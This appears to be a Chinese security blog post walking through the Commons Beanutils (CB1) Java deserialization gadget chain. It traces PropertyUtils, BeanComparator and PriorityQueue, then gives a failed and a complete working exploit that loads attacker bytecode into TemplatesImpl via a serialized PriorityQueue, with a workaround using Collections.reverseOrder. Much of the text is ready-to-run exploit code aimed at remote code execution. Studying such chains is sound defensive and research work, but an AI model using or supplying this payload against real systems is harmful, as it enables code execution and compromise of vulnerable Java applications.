版本:jdk8u25
依赖:Apache Commons Beanutils 3.1
1 2 3 4 5 6 7 <dependencies> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> </dependencies>
cb1链子详解 对TemplateImp链的复习 TemplateImp链是第一次学习的链子,有两条触发方式,分别是
newTransformer()->getTransletInstance()->defineTransletClasses()->defineClass()
getOutputProperties触发 getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->defineClass()
因为是复习,所以不会详解,没学会的可以看往期博客
而这次和cb1链有关系的是第二条链子
分析cb1链子 那么还是和往常一样,我们寻找谁直接或间接的调用了getOutputProperties()函数,我们直接定位到org.apache.commons.beanutils.PropertyUtils这个类
因为是间接调用的,所以IDEA是查找不到且不能跳转的,我们定位到这个类的getProperty函数
PropertyUtils.getProperty 1 2 3 4 5 6 7 public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { return (PropertyUtilsBean.getInstance().getProperty(bean, name)); }
获取PropertyUtilsBean的一个实例并调用其getProperty的方法,我们继续跟进查看PropertyUtilsBean的getProperty函数
PropertyUtilsBean.getProperty 1 2 3 4 5 6 7 public Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { return (getNestedProperty(bean, name)); }
调用getNestedProperty处理,继续跟进
PropertyUtilsBean.getNestedProperty 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public Object getNestedProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { if (bean == null) { throw new IllegalArgumentException("No bean specified"); } if (name == null) { throw new IllegalArgumentException("No name specified for bean class '" + bean.getClass() + "'"); } // Resolve nested references while (resolver.hasNested(name)) { String next = resolver.next(name); Object nestedBean = null; if (bean instanceof Map) { nestedBean = getPropertyOfMapBean((Map) bean, next); } else if (resolver.isMapped(next)) { nestedBean = getMappedProperty(bean, next); } else if (resolver.isIndexed(next)) { nestedBean = getIndexedProperty(bean, next); } else { nestedBean = getSimpleProperty(bean, next); } if (nestedBean == null) { throw new NestedNullException ("Null property value for '" + name + "' on bean class '" + bean.getClass() + "'"); } bean = nestedBean; name = resolver.remove(name); } if (bean instanceof Map) { bean = getPropertyOfMapBean((Map) bean, name); } else if (resolver.isMapped(name)) { bean = getMappedProperty(bean, name); } else if (resolver.isIndexed(name)) { bean = getIndexedProperty(bean, name); } else { bean = getSimpleProperty(bean, name); } return bean; }
有点长,慢慢分析
首先判断bean和name是否为空,是则直接抛出报错
调用resolver的hasNested()函数对name进行处理,这个resolver是DefaultResolver的实例,其调用的hashNested的作用是为了判断name是否是嵌套属性(类似user.address.city)
而后resolver.next(name) 获取第一个属性(如user.address.city → user)
接下来判断:
bean是Map,调用getPropertyOfMapBean()取值。
bean是mapped property(键值映射),调用 getMappedProperty() 取值。
bean是indexed property(数组或列表索引),调用 getIndexedProperty() 取值。
否则,按,调用 getSimpleProperty() 取值。
当然,如果name不是嵌套字符(如”Nebu1ea”),就直接进入bean的判断并调用函数赋值
我们的目标是调用TemplateImp的get函数,所以直接进入getSimpleProperty函数
后面的大家就自己分析,我就不在博客上赘述了,因为还要好几个互相调用才能出结果,写上去会显得太过于冗长
直接告诉结果,最终会调用bean实例的getter函数,什么意思呢
假如我们的bean是TemplateImp实例,name=”outputProperties”,那么他就会直接调用TemplateImp的getOutputProperties
那就达到效果了,我们回到最上方,查看谁调用了PropertyUtils.getProperty这个函数
就这么5个,定位到org.apache.commons.beanutils.BeanComparator的compare函数
compare 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public int compare( Object o1, Object o2 ) { if ( property == null ) { // compare the actual objects return comparator.compare( o1, o2 ); } try { Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property ); return comparator.compare( value1, value2 ); } catch ( IllegalAccessException iae ) { throw new RuntimeException( "IllegalAccessException: " + iae.toString() ); } catch ( InvocationTargetException ite ) { throw new RuntimeException( "InvocationTargetException: " + ite.toString() ); } catch ( NoSuchMethodException nsme ) { throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() ); } }
输入两个实例,分别为o1和o2,然后判断property属性是否为空,是则调用comparator属性的的compare函数
如果不为空,则调用PropertyUtils的getProperty对o1,o2分别进行处理,第二个形参为property属性
到此就找到我们想要的了,保证输入的o1或o2属性任意一个为恶意的TemplateImp实例,property属性为字符串”OutputProperties”,那么就可以触发了,我们继续查找property属性是否可控
1 2 3 public void setProperty( String property ) { this.property = property; }
公有set函数直接赋值,除此之外没有其他的赋值,完全可控
那么接着往下,查找谁调用了BeanComparator的compare函数,有没有一点熟悉,又要找compare的调用,想想我们cc2链子是不是也再找这个调用
那我们请出老朋友java.util.PriorityQueue类,这个类在cc2的时候我分析过,具体调用compare的链子为
PriorityQueue.readObject->PriorityQueue.heapify->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator
而这个siftDownUsingComparator函数就可以调用compare函数,具体的分析看往期我对cc2链子的详解,这里就不过多赘述,直接写exp
exp(fail) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 package test; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.PriorityQueue; public class exp { public static String serialize(Object a) throws Exception { ByteArrayOutputStream byteArrayInputStream = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayInputStream); out.writeObject(a); out.flush(); out.close(); byte[] serial = byteArrayInputStream.toByteArray(); String payload = Base64.getEncoder().encodeToString(serial); return payload; } public static Object unserialize(String payload) throws Exception { byte[] bytes = Base64.getDecoder().decode(payload); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); Object obj = objectInputStream.readObject(); return obj; } public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); // 赋值_name Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates, "Nebu1ea"); // 赋值_bytecodes Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class")); byte[][] bytes1 = new byte[1][bytes.length]; bytes1[0] = bytes; _bytecodesField.set(templates, bytes1); BeanComparator beanComparator=new BeanComparator(); beanComparator.setProperty("OutputProperties"); PriorityQueue priorityQueue=new PriorityQueue(2,beanComparator); priorityQueue.offer("Nebu"); priorityQueue.offer("1ea"); Object[] queue=new Object[]{templates,templates}; Field field1=priorityQueue.getClass().getDeclaredField("queue"); field1.setAccessible(true); field1.set(priorityQueue,queue); String payload=serialize(priorityQueue); unserialize(payload); } }
正常这样就能打了,但是它报错了,内容是
1 2 3 4 5 6 7 8 9 10 11 12 13 Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/commons/collections/comparators/ComparableComparator at org.apache.commons.beanutils.BeanComparator.<init>(BeanComparator.java:81) at org.apache.commons.beanutils.BeanComparator.<init>(BeanComparator.java:59) at test.exp.main(exp.java:54) Caused by: java.lang.ClassNotFoundException: org.apache.commons.collections.comparators.ComparableComparator at java.net.URLClassLoader$1.run(URLClassLoader.java:372) at java.net.URLClassLoader$1.run(URLClassLoader.java:361) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(URLClassLoader.java:360) at java.lang.ClassLoader.loadClass(ClassLoader.java:424) at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308) at java.lang.ClassLoader.loadClass(ClassLoader.java:357) ... 3 more
在实例化BeanComparetor的时候报错找不到org.apache.commons.collections.comparators.ComparableComparator
而这个类是cc库里的,我们查看BeanComparator的构造函数
BeanComparator 1 2 3 4 5 6 7 8 public BeanComparator( String property, Comparator comparator ) { setProperty( property ); if (comparator != null) { this.comparator = comparator; } else { this.comparator = ComparableComparator.getInstance(); } }
要是没有comparator传入的话,构造函数实例化了ComparableComparator类作为comparator的属性值
那么现在的目标变成了找到一个性新的Comparator类作为替换,有下面三点要求
我们可以找到java.util.Collections的内部嵌套类ReverseComparator,我们看看他的定义:
private static class ReverseComparator implements Comparator<Comparable<Object>>, Serializable
符合上述要求,同时java.util.Collections中还有公有静态函数reverseOrder来返回这个实例
reverseOrder 1 2 3 public static <T> Comparator<T> reverseOrder() { return (Comparator<T>) ReverseComparator.REVERSE_ORDER; }
而REVERSE_ORDER定义成了ReverseComparator的实例
static final ReverseComparator REVERSE_ORDER = new ReverseComparator();
那么直接用就行了
接下来是成功exp
exp(success) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 { public static String serialize(Object a) throws Exception { ByteArrayOutputStream byteArrayInputStream = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayInputStream); out.writeObject(a); out.flush(); out.close(); byte[] serial = byteArrayInputStream.toByteArray(); String payload = Base64.getEncoder().encodeToString(serial); return payload; } public static Object unserialize(String payload) throws Exception { byte[] bytes = Base64.getDecoder().decode(payload); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); Object obj = objectInputStream.readObject(); return obj; } public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); // 赋值_name Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates, "Nebu1ea"); // 赋值_bytecodes Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class")); byte[][] bytes1 = new byte[1][bytes.length]; bytes1[0] = bytes; _bytecodesField.set(templates, bytes1); BeanComparator beanComparator=new BeanComparator(null,Collections.reverseOrder()); PriorityQueue priorityQueue=new PriorityQueue(2,beanComparator); priorityQueue.offer("Nebu"); priorityQueue.offer("1ea"); beanComparator.setProperty("outputProperties"); Object[] queue=new Object[]{templates,templates}; Field field1=priorityQueue.getClass().getDeclaredField("queue"); field1.setAccessible(true); field1.set(priorityQueue,queue); String payload=serialize(priorityQueue); unserialize(payload); } }
这里依然要注意offer提前触发链子的坑点
附上召唤神兽图片:
就此结束,Ciallo~~